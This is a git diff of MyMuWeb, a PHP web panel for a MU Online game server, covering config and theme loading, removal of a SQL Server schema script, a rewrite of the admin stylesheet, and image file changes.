+$mmw[joinserver_port] = '55970'; // Join Server port for GM Message // Admin Panel & Level (3 - GM, 6 - Mini Admin, 9 - Admin) @@ -85,20 +92,19 @@ $mmw[image_can_delete] = '3'; // Image Can Delete with this level -// Code +// Engine MyMuWeb. Don't Edit Please! +$mmw[version] = '0.5'; +if(isset($_SESSION[theme])) + {$mmw[theme] = $_SESSION[theme];} +if(is_file("themes/$mmw[theme]/info.php")) { + $mmw[theme_dir] = "themes/$mmw[theme]"; + $mmw[theme_img] = "themes/$mmw[theme]/img"; + include("$mmw[theme_dir]/info.php"); +} +else { + unset($_SESSION[theme]); + die("$sql_die_start ErroR Theme!
Cant find $mmw[theme]/info.php in themes/! $sql_die_end"); +} $alpha_num = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $mmw[rand_id] = substr(str_shuffle($alpha_num), 0, 8); - - -// Row Br || Okey || Die(Error) -$rowbr = "
"; - -$warning_green = "/!\"; -$warning_red = "/!\"; - -$okey_start = "
$warning_green "; -$okey_end = "
"; - -$die_start = "
$warning_red "; -$die_end = "
"; ?> \ No newline at end of file diff --git a/db_mmw.sql b/db_mmw.sql deleted file mode 100644 index 2542f9a..0000000 --- a/db_mmw.sql +++ /dev/null @@ -1,120 +0,0 @@ -if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_comment]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) -drop table [dbo].[MMW_comment] - - -CREATE TABLE [dbo].[MMW_comment] ( - [c_id] [int] IDENTITY (1, 1) NOT NULL , - [c_id_blog] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , - [c_id_code] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , - [c_char] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , - [c_text] [text] COLLATE Chinese_PRC_CI_AS NULL , - [c_date] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL -) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] - - - - - -if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_forum]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) -drop table [dbo].[MMW_forum] - - -CREATE TABLE [dbo].[MMW_forum] ( - [f_id] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , - [f_char] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , - [f_title] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , - [f_text] [text] COLLATE Chinese_PRC_CI_AS NULL , - [f_date] [int] NULL , - [f_lostchar] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , - [f_status] [int] NULL -) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] - - - - - -if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_links]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) -drop table [dbo].[MMW_links] - - -CREATE TABLE [dbo].[MMW_links] ( - [link_name] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [link_address] [text] COLLATE Chinese_PRC_CI_AS NULL , - [link_description] [text] COLLATE Chinese_PRC_CI_AS NULL , - [link_id] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [link_date] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL -) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] - - - - - -if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_news]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) -drop table [dbo].[MMW_news] - - -CREATE TABLE [dbo].[MMW_news] ( - [news_id] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [news_title] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [news_category] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [news_eng] [text] COLLATE Chinese_PRC_CI_AS NULL , - [news_rus] [text] COLLATE Chinese_PRC_CI_AS NULL , - [news_autor] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [news_date] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL -) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY] - - - - - - -if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_servers]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) -drop table [dbo].[MMW_servers] - - -CREATE TABLE [dbo].[MMW_servers] ( - [name] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [experience] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [drops] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [gsport] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [ip] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [display_order] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [version] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [type] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL -) ON [PRIMARY] - - - - - - -if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_votemain]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) -drop table [dbo].[MMW_votemain] - - -CREATE TABLE [dbo].[MMW_votemain] ( - [ID] [int] IDENTITY (1, 1) NOT NULL , - [question] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , - [answer1] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , - [answer2] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , - [answer3] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , - [answer4] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , - [answer5] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , - [answer6] [nvarchar] (50) COLLATE Chinese_PRC_CI_AS NULL , - [add_date] [nvarchar] (11) COLLATE Chinese_PRC_CI_AS NULL -) ON [PRIMARY] - - - - - - -if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[MMW_voterow]') and OBJECTPROPERTY(id, N'IsUserTable') = 1) -drop table [dbo].[MMW_voterow] - - -CREATE TABLE [dbo].[MMW_voterow] ( - [ID_vote] [int] NULL , - [who] [nvarchar] (15) COLLATE Chinese_PRC_CI_AS NULL , - [answer] [int] NULL -) ON [PRIMARY] diff --git a/decode.php b/decode.php index 7b31f57..42ba4d9 100644 --- a/decode.php +++ b/decode.php @@ -1,13 +1,17 @@
/!\ ErroR #$_GET[go] !
by Vaflan
"); -?> \ No newline at end of file diff --git a/gallery/wallpaper-3.dat b/gallery/wallpaper-3.dat index 72d1d5a..b557fb9 100644 --- a/gallery/wallpaper-3.dat +++ b/gallery/wallpaper-3.dat @@ -7,5 +7,5 @@ $comment = 'This Wallpaper for RedAngel Fun User.'; $date = '123456761'; $width = '1024'; $height = '768'; -$size = '353595'; +$size = '320425'; ?> \ No newline at end of file diff --git a/gallery/wallpaper-3.jpg b/gallery/wallpaper-3.jpg index 6061166..f1b1b29 100644 Binary files a/gallery/wallpaper-3.jpg and b/gallery/wallpaper-3.jpg differ diff --git a/images/admin.css b/images/admin.css index 7ffc9c4..67d84a6 100644 --- a/images/admin.css +++ b/images/admin.css @@ -1,826 +1,26 @@ - A:link { - font-size : 13px; - color : #000000; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - A:visited { - font-size : 13px; - color : #000000; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - A:active { - font-size : 13px; - color : #000000; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - A:hover { - font-size : 13px; - color : #FF0000; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - .link_menu a:link { - font-size : 13px; - color : #d9952b; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - .link_menu a:visited { - font-size : 13px; - color : #d9952b; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - .link_menu a:active { - font-size : 13px; - color : #d9952b; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - .link_menu a:hover { - font-size : 14px; - color : #d9952b; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - .text_news { - font-family : Verdana, Arial, Helvetica, sans-serif; - font-size : 11px; - color : #000000; - } - .text_statistics { - font-family : Verdana, Arial, Helvetica, sans-serif; - font-size : 11px; - color : #000000; - } - .status_online { - font-family : Verdana, Arial, Helvetica, sans-serif; - font-size : 12px; - color : #00ff00; - } - .status_offline { - font-family : Verdana, Arial, Helvetica, sans-serif; - font-size : 12px; - color : red; - } - .text_administrator { - font-family : Verdana, Arial, Helvetica, sans-serif; - font-size : 11px; - color : #000000; - } - .text_normal_white { - font-family : Verdana, Arial, Helvetica, sans-serif; - font-size : 11px; - color : #ffffff; - } - .text_normal_white2 { - font-family : Verdana, Arial, Helvetica, sans-serif; - font-size : 10px; - color : #ffffff; - } - .text_size_3 { - font-family : Verdana, Arial, Helvetica, sans-serif; - font-size : 10px; - color : #000000; - } - .button { - border : 1px solid #76726e; - background-color : #5c4641; - font-family : Verdana, Arial, Helvetica, sans-serif; - font-size : 10px; - color : #ffffff; - padding-left : 1px; - padding-right : 1px; - padding-top : 1px; - padding-bottom : 1px; - } - .login_field { - border : 1px solid #322623; - background-color : #ffffff; - font-family : Verdana, Arial, Helvetica, sans-serif; - font-size : 10px; - color : #000000; - padding-left : 0; - padding-right : 0; - padding-top : 0; - padding-bottom : 0; - } - .text_login { - font-family : Verdana, Arial, Helvetica, sans-serif; - font-size : 12px; - color : #d9952b; - } - .b01 { - color : #000000; - margin-top : 2px; - padding-bottom : 1px; - margin-bottom : 1px; - margin-left : 5px; - margin-right : 0; - font-size : 12px; - color : #d9952b; - } - .b01 a { - font-size : 12px; - color : #d9952b; - text-decoration : none; - } - .b01 a:hover { - font-size : 12px; - color : #d9952b; - } - .b01 A:visited { - font-size : 12pt; - color : #d9952b; - } - a.guidetxt1:link { - color : #b26039; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.guidetxt1:hover { - color : #ff9600; - text-decoration : underline; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.guidetxt1:visited { - color : #b26039; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.guidetxt2:link { - color : #c2b9ae; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.guidetxt2:hover { - color : #ff9600; - text-decoration : underline; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.guidetxt2:visited { - color : #c2b9ae; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.guidetxt3:link { - color : #c2b9ae; - text-decoration : none; - font-size : 10px; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.guidetxt3:hover { - color : #ff9600; - text-decoration : underline; - font-size : 10px; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.guidetxt3:visited { - color : #c2b9ae; - text-decoration : none; - font-size : 10px; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.news1:link { - color : #8a2b02; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.news1:hover { - color : #ff9600; - text-decoration : underline; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.news1:visited { - color : #8a2b02; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.action1:link { - color : #e94700; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.action1:hover { - color : #ff9600; - text-decoration : underline; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.action1:visited { - color : #e94700; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.txt:link { - color : #553717; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.txt:hover { - color : #ff9600; - text-decoration : underline; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.txt:visited { - color : #553717; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.subtxt:link { - color : #5d5039; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.subtxt:hover { - color : #ff9600; - text-decoration : underline; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.subtxt:visited { - color : #5d5039; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.marqueetext:link { - color : #d9c9a7; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.marqueetext:hover { - color : #ff9600; - text-decoration : underline; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - a.marqueetext:visited { - color : #d9c9a7; - text-decoration : none; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - .tougao { - color : #c2b9ae; - font-family : "Tahoma", Verdana, Arial, sans-serif; - font-size : 11px; - } - .event_t { - color : #553717; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - .event_time { - color : #e94700; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - .marqueedefault { - color : #d9c9a7; - font-family : "Tahoma", Verdana, Arial, sans-serif; - } - .marqueetext2 { - text-decoration : none; - } - select.selections { - font-family : "Arial"; - font-size : 12px; - line-height : 14px; - color : #f2e5cd; - text-decoration : none; - background-color : #494949; - } - .subtxttitle { - text-decoration : none; - font-size : 14px; - line-height : 18px; - } - .txt_1 { - text-decoration : none; - font-size : 12px; - line-height : 22px; - } - .txt_2 { - text-decoration : none; - font-size : 12px; - line-height : 20px; - } - .txt_3 { - text-decoration : none; - font-size : 12px; - line-height : 22px; - } - .subtxt_1 { - text-decoration : none; - text-align : center; - line-height : 22px; - font-size : 12px; - } - .txt_x { - text-decoration : none; - line-height : 22px; - font-size : 12px; - } - legend { - color : #ff0000; - background : #ffffff; - font : 11px tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; - } - .input { - border : 1px solid #61401a; - background-color : #000000; - font-family : "Arial, Helvetica, sans-serif"; - font-size : 9pt; - color : #c9925d; - } - input, select { - color : #000000; - font-size : 9px; - font-family : Tahoma, Verdana, Arial; - font-weight : bold; - } - p { - color : #000000; - font-family : Tahoma, Verdana, Arial; - margin-top : 0; - padding-bottom : 0; - margin-bottom : 0; - margin-left : 10px; - margin-right : 10px; - font-size : 9px; - } - p a { - color : #000000; - } - p a:hover { - color : #294a7b; - } - p a:visited { - color : #000000; - } - .menu01 { - color : #000000; - margin-top : 1px; - padding-bottom : 1px; - margin-bottom : 0; - margin-left : 10px; - margin-right : 10px; - font-size : 9px; - font-family : Tahoma, Verdana, Arial; - } - div.progress { - font-family : "Courier New", Courier, monospace; - font-size : 12px; - font-weight : bold; - color : #ffffff; - background-color : #ff0000; - border : thin dotted #990000; - } - .menu01 a { - color : #000000; - text-decoration : none; - } - .menu01 a:hover { - color : #555555; - } - .menu02 { - color : #ffffff; - margin-top : 5px; - padding-bottom : 5px; - margin-bottom : 0; - margin-left : 20px; - margin-right : 20px; - font-size : 9px; - font-family : Tahoma, Verdana, Arial; - font-weight : bold; - } - .menu02 a { - color : #ffffff; - text-decoration : none; - } - .menu02 a:hover { - color : #dddddd; - } - .bar01 { - color : #000000; - margin-top : 1px; - padding-bottom : 1px; - margin-bottom : 0; - margin-left : 5px; - margin-right : 20px; - font-size : 18px; - font-family : Arial, Tahoma, Verdana; - font-weight : bold; - } - .sort-table { - font : Icon; - border : 1px solid ThreeDShadow; - background : Window; - color : WindowText; - } - - .sort-table thead { - background : #FFAA55; - } - .sort-table td { - padding : 2px 5px; - } - .sort-table thead td { - border : 1px solid; - border-color : ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; - cursor : default; - } - .sort-table thead td:active { - border-color : ButtonShadow ButtonHighlight ButtonHighlight ButtonShadow; - padding : 3px 4px 1px 6px; - } - .sort-table thead td[_sorttype="None"]:active { - border-color : ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight; - padding : 2px 5px; - } - .sort-arrow { - width : 11px; - height : 11px; - background-position : center center; - background-repeat : no-repeat; - margin : 0 2px; - } - .sort-arrow.descending { - background-image : url("downsimple.png"); - } - .sort-arrow.ascending { - background-image : url("upsimple.png"); - } - div { - font-size : 10px; - color : #000000; - line-height : 15px; - font-family : Arial, Helvetica, sans-serif; - } - IMG { - display : inline; - margin-bottom : 0; - margin-top : 0; - margin : 0; - } - .thead { - background : #5a4029 url(tcat2.gif) repeat-x top left; - color : #ffffff; - font : bold 11px tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif; - vertical-align : middle; - line-height : 15px; - } - .thead a:link { - color : #000000; - } - .thead a:visited { - color : #000000; - } - .thead a:hover, .thead a:active { - color : #ffff00; - } - .alt1, .alt1Active{ - LINE-HEIGHT: 16px; - background: #EEEEEE url(tcat2.gif) repeat-x top left; - } - .tborder { - border-right : 1px solid #5a4029; - border-top : 1px solid #5a4029; - border-left : 1px solid #5a4029; - border-bottom : 1px solid #5a4029; - } - .alt2, .alt2Active{ - background: #EEEEDD url(tcat2.gif) repeat-x top left; - color: #000000; - } - - .alt3, .alt3Active { - line-height : 17px; - background : #00aa00 url(tcat2.gif) repeat-x top left; - color : #ffffff; - } - .td1 { - color : #e1c585; - } - .td2 { - color : #000000; - } - IMG { - border : 0; - } - FORM { - display : inline; - margin-bottom : 0; - padding : 0; - margin-top : 0; - margin : 0; - } - .px { - padding-top : 0; - padding-bottom : 0; - padding-left : 0; - padding-right : 0; - margin-top : 2px; - margin-bottom : 0; - margin-left : 0; - margin-right : 0; - } - .px5 { - padding-top : 0; - padding-bottom : 0; - padding-left : 0; - padding-right : 0; - margin-top : 5px; - margin-bottom : 0; - margin-left : 0; - margin-right : 0; - } - .title01 { - color : #ffffff; - margin-top : 10px; - padding-bottom : 10px; - margin-bottom : 0; - margin-left : 15px; - margin-right : 15px; - font-size : 13px; - font-family : Tahoma, Verdana, Arial; - font-weight : bold; - font-style : italic; - } - .title { - color : #ffffff; - margin-top : 1px; - padding-bottom : 1px; - margin-bottom : 1px; - margin-left : 37px; - margin-right : 10px; - font-size : 10px; - font-family : Tahoma, Verdana, Arial; - font-weight : bold; - } - .title a { - color : #ef6d00; - } - .title a:hover { - color : #c25a02; - } - .list { - color : #ffffff; - margin-top : 3px; - padding-bottom : 3px; - margin-bottom : 0; - margin-left : 10px; - margin-right : 10px; - font-size : 9px; - font-family : Tahoma, Verdana, Arial; - font-weight : bold; - } - .dynamic-tab-pane-control.tab-pane { - position : relative; - width : 100%; - } - .dynamic-tab-pane-control .tab-row .tab { - font : Menu; - cursor : default; - display : inline; - margin : 1px -1px 1px 2px; - float : left; - padding : 2px 5px 3px; - background : #ffffff; - border : 0; - border-bottom : 0; - z-index : 1; - white-space : nowrap; - position : relative; - top : 0; - } - .dynamic-tab-pane-control .tab-row .tab.selected { - background : #eeeedd !important; - border : 1px solid #000000; - border-bottom : 0; - z-index : 3; - padding : 2px 6px 4px; - margin : 1px -3px -3px 0; - top : -2px; - } - .dynamic-tab-pane-control .tab-row .tab a { - font : Menu; - color : WindowText; - text-decoration : none; - cursor : default; - } - .dynamic-tab-pane-control .tab-row .tab.hover { - background : #eeeedd; - } - .dynamic-tab-pane-control .tab-page { - clear : both; - border : 1px solid #000000; - background : #eeeedd; - z-index : 2; - position : relative; - top : -2px; - color : WindowText; - font : Message-Box; - padding : 10px; - } - .dynamic-tab-pane-control .tab-row { - z-index : 1; - white-space : nowrap; - } - -a.helpLink { - color: #D9952B; - text-decoration: none; - border-bottom: 1px dashed #CCCCCC; - cursor: help; - font-size: 12px; -} - -a.helpLink:hover { - color: #FFFFFF; - text-decoration: none; - border-bottom: 1px dashed #FFFFFF; -} - -.help-tooltip { - position: absolute; - - border: 1px Solid WindowFrame; - background: Infobackground; - color: InfoText; - font: StatusBar; - font: Status-Bar; - padding: 3px; - filter: progid:DXImageTransform.Microsoft.Shadow(color="#777777", Direction=135, Strength=3); - z-index: 10000; -} - - -.help-tooltip a, -.help-tooltip a:hover { - color: blue !important; - background: none; -} - -.select{ - border: 1px solid #000000; - background-color: #FFFFFF; - font-family: Verdana,Arial, Helvetica, sans-serif; - font-size: 9px; - color: #000000; - padding-left: 0px; padding-right: 0px; padding-top: 0px; padding-bottom: 0px; -} -.textfields, input{ - border: 1px solid #000000; - background-color: #FFFFFF; - font-family: Verdana,Arial, Helvetica, sans-serif; - font-size: 10px; - color: #000000; - padding-left: 0px; padding-right: 0px; padding-top: 0px; padding-bottom: 0px; -} - - - .normal_text { - font-size : 12px; - color : #000000; - line-height : 15px; - font-family : Arial, Helvetica, sans-serif; - } - - .normal_text_white { - font-size : 12px; - color : #FFFFFF; - line-height : 15px; - font-family : Arial, Helvetica, sans-serif; - } - - -#mutable td { - border-bottom: 1px solid #666666; - border-right: 1px solid #666666; - padding: 2px 2px 2px 2px; - - font-family: Georgia, "Times New Roman", Times, serif; font-size: 12px; color: #000000; -} -#mutable td:hover { - border-bottom: 1px solid #666666; - border-right: 1px solid #666666; - padding: 2px 2px 2px 2px; - background-color: #FFFFFF; - font-family: Georgia, "Times New Roman", Times, serif; font-size: 12px; color: #000000; -} -#mutable #altcol { - background-color: #FFFFFF; - border-bottom: 1px #B5A68A; - border-right: 1px #B5A68A; - font-family: Georgia, Times New Roman, Times, serif; - font-size: 13px; - color: #415D7A; - text-decoration: none; -} -#mutable1 td { - margin: 0px 0px 0px 0px; - padding: 0px 0px 0px 0px; - - font-family: Georgia, "Times New Roman", Times, serif; font-size: 12px; color: #000000; -} - -.grids { - border-top: 1px solid #666666; - border-left: 1px solid #666666; - font-family: Georgia, "Times New Roman", Times, serif; font-size: 12px; color: #666666; -} - - - - - - - - .link_rankings a:link { - font-size : 13px; - color : #000000; - text-decoration : none; - font-family : Georgia, "Times New Roman", Times, serif; - } - .link_rankings a:visited { - font-size : 13px; - color : #000000; - text-decoration : none; - font-family : Georgia, "Times New Roman", Times, serif; - } - .link_rankings a:active { - font-size : 13px; - color : #000000; - text-decoration : none; - font-family : Georgia, "Times New Roman", Times, serif; - } - .link_rankings a:hover { - font-size : 13px; - color : #d9952b; - text-decoration : none; - font-family : Georgia, "Times New Roman", Times, serif; - } - - - - .link_down a:link { - font-size : 10px; - color : #000000; - line-height : 15px; - font-family : Arial, Helvetica, sans-serif; - } - .link_down a:visited { - font-size : 10px; - color : #000000; - line-height : 15px; - font-family : Arial, Helvetica, sans-serif; - } - .link_down a:active { - font-size : 10px; - color : #000000; - line-height : 15px; - font-family : Arial, Helvetica, sans-serif; - } - .link_down a:hover { - font-size : 10px; - color : #FF0000; - line-height : 15px; - font-family : Arial, Helvetica, sans-serif; - text-decoration: underline; - } - - - - .link_logs a:link { - font-size : 11px; - color : #000000; - line-height : 15px; - font-family : Arial, Helvetica, sans-serif; - } - .link_logs a:visited { - font-size : 11px; - color : #000000; - line-height : 15px; - font-family : Arial, Helvetica, sans-serif; - } - .link_logs a:active { - font-size : 11px; - color : #000000; - line-height : 15px; - font-family : Arial, Helvetica, sans-serif; - } - .link_logs a:hover { - font-size : 11px; - color : #FF0000; - line-height : 15px; - font-family : Arial, Helvetica, sans-serif; - text-decoration: underline; - } - - .alt9, .alt9Active{ - background: #FFFFFF url(tcat2.gif) repeat-x top left; - color: #000000; - } - - .text_statistics2 { - font-family : Verdana, Arial, Helvetica, sans-serif; - font-size : 11px; - color : #D9952B; \ No newline at end of file +/* Global */ +body {background: #DDDDDD; font-size: 12px; line-height: 15px; color: #000000; font-family: Arial, Helvetica, sans-serif;} +table,td {font-size: 12px; line-height: 15px; color: #000000; font-family: Arial, Helvetica, sans-serif;} + +a:link {font-size: 13px; color: #000000; text-decoration: none;} +a:visited {font-size: 13px; color: #000000; text-decoration: none;} +a:active {font-size: 13px; color: #000000; text-decoration: none;} +a:hover {font-size: 13px; color: #FF0000; text-decoration: none;} + +.online {font-size: 12px; color: #00ff00;} +.offline {font-size: 12px; color: #ff0000;} + +input,select {color: #000000; padding: 0px; vertical-align: center; font-size: 9px; font-weight: bold; font-family: Tahoma, Verdana, Arial;} +textarea {color: #000000; padding: 2px; vertical-align: center; font-size: 12px; font-family: Tahoma, Verdana, Arial;} +select.selections {font-family: "Arial"; font-size: 12px; line-height: 14px; color: #f2e5cd; text-decoration: none; background-color: #494949;} +form,img {display: inline; padding: 0; margin: 0; border: 0;} +fieldset {border: 1px solid #121212; background: #DDDDDD; padding: 2px;} +legend {color: #ff0000; background: #ffffff; font: 11px tahoma, verdana, geneva, lucida, 'lucida grande', arial, helvetica, sans-serif;} + +.sort-table td {border: 1px solid ThreeDShadow; background: Window; color: WindowText; padding: 2px 5px; font-size: 12px;} +.sort-table thead td {border: 1px solid; background: #FFAA55; padding: 2px 5px; border-color: ButtonHighlight ButtonShadow ButtonShadow ButtonHighlight;} + +.login_stats {border: 0px; padding: 0px;} +.sized {max-width:600px; width:expression(this.scrollWidth > 600? "600px" : "auto" ); overflow:auto; overflow-y:hidden;} +.copyright {font-size: 10px; color: #101010;} +/* --------------- */ \ No newline at end of file diff --git a/images/anime_1.gif b/images/anime_1.gif deleted file mode 100644 index e9e745c..0000000 Binary files a/images/anime_1.gif and /dev/null differ diff --git a/images/anime_2.gif b/images/anime_2.gif deleted file mode 100644 index 9d5fc9d..0000000 Binary files a/images/anime_2.gif and /dev/null differ diff --git a/images/anime_3.gif b/images/anime_3.gif deleted file mode 100644 index b55cf76..0000000 Binary files a/images/anime_3.gif and /dev/null differ diff --git a/images/anime_4.gif b/images/anime_4.gif deleted file mode 100644 index e7a9556..0000000 Binary files a/images/anime_4.gif and /dev/null differ diff --git a/images/anime_5.gif b/images/anime_5.gif deleted file mode 100644 index e4bf8a6..0000000 Binary files a/images/anime_5.gif and /dev/null differ diff --git a/images/anime_6.gif b/images/anime_6.gif deleted file mode 100644 index 0ea3e9e..0000000 Binary files a/images/anime_6.gif and /dev/null differ diff --git a/images/anime_7.gif b/images/anime_7.gif deleted file mode 100644 index 6960336..0000000 Binary files a/images/anime_7.gif and /dev/null differ diff --git a/images/anime_8.gif b/images/anime_8.gif deleted file mode 100644 index 27721cc..0000000 Binary files a/images/anime_8.gif and /dev/null differ diff --git a/images/background.png b/images/close.png similarity index 80% rename from images/background.png rename to images/close.png index 8809868..991a9f1 100644 Binary files a/images/background.png and b/images/close.png differ diff --git a/images/death.gif b/images/death.gif index 300408e..84bf047 100644 Binary files a/images/death.gif and b/images/death.gif differ diff --git a/images/die.gif b/images/die.gif new file mode 100644 index 0000000..d476693 Binary files /dev/null and b/images/die.gif differ diff --git a/images/f_closed.gif b/images/f_closed.gif new file mode 100644 index 0000000..b4e9220 Binary files /dev/null and b/images/f_closed.gif differ diff --git a/images/f_hot.gif b/images/f_hot.gif new file mode 100644 index 0000000..934454a Binary files /dev/null and b/images/f_hot.gif differ diff --git a/images/f_hot_no.gif b/images/f_hot_no.gif new file mode 100644 index 0000000..a182036 Binary files /dev/null and b/images/f_hot_no.gif differ diff --git a/images/f_normal.gif b/images/f_normal.gif new file mode 100644 index 0000000..2e9deb5 Binary files /dev/null and b/images/f_normal.gif differ diff --git a/images/f_old.gif b/images/f_old.gif new file mode 100644 index 0000000..ec38aa4 Binary files /dev/null and b/images/f_old.gif differ diff --git a/images/logo.png b/images/logo.png deleted file mode 100644 index ba9ff0b..0000000 Binary files a/images/logo.png and /dev/null differ diff --git a/media/logo.png b/images/mmw.png similarity index 100% rename from media/logo.png rename to images/mmw.png diff --git a/images/offline.gif b/images/offline.gif index 84bf047..300408e 100644 Binary files a/images/offline.gif and b/images/offline.gif differ diff --git a/images/okey.gif b/images/okey.gif new file mode 100644 index 0000000..103bd76 Binary files /dev/null and b/images/okey.gif differ diff --git a/images/open.png b/images/open.png new file mode 100644 index 0000000..b9025b3 Binary files /dev/null and b/images/open.png differ diff --git a/images/pop-close.PNG b/images/pop-close.PNG new file mode 100644 index 0000000..fdbde07 Binary files /dev/null and b/images/pop-close.PNG differ diff --git a/images/pop-logo.PNG b/images/pop-logo.PNG new file mode 100644 index 0000000..69ef26d Binary files /dev/null and b/images/pop-logo.PNG differ diff --git a/images/pop-up.png b/images/pop-up.png new file mode 100644 index 0000000..fd97bcd Binary files /dev/null and b/images/pop-up.png differ diff --git a/images/refresh.gif b/images/refresh.gif new file mode 100644 index 0000000..7dd0957 Binary files /dev/null and b/images/refresh.gif differ diff --git a/images/sleep.GIF b/images/sleep.GIF deleted file mode 100644 index 84bf047..0000000 Binary files a/images/sleep.GIF and /dev/null differ diff --git a/images/smile/boo.gif b/images/smile/boo.gif new file mode 100644 index 0000000..4ae4cf3 Binary files /dev/null and b/images/smile/boo.gif differ diff --git a/images/smile/hello.gif b/images/smile/hello.gif new file mode 100644 index 0000000..9f0c3d0 Binary files /dev/null and b/images/smile/hello.gif differ diff --git a/images/sql_die.png b/images/sql_die.png index 2e17b3e..2d3f62b 100644 Binary files a/images/sql_die.png and b/images/sql_die.png differ diff --git a/includes/character.class.php b/includes/character.class.php index 6bfcdf5..4bea955 100644 --- a/includes/character.class.php +++ b/includes/character.class.php @@ -2,7 +2,7 @@ // Creator =Master= // Get from MuWeb 0.8 // Edited by Vaflan -// It is modified for MyMuWeb +// It's modified for MyMuWeb class option{ @@ -55,18 +55,18 @@ function register() { if($_SESSION['image_random_value'] != md5($verifyinput)) { $error= 1; echo $die_start . mmw_lang_correctly_code . $die_end; - } + } if($username_verify > 0) { $error= 1; - echo $die_start . mmw_lang_account_in_use . $die_end; + echo $die_start . mmw_lang_account_in_use . $die_end; } if($email_verify > 0) { $error= 1; - echo $die_start . mmw_lang_email_in_use . $die_end; + echo $die_start . mmw_lang_email_in_use . $die_end; } if($country <= 0) { $error= 1; - echo $die_start 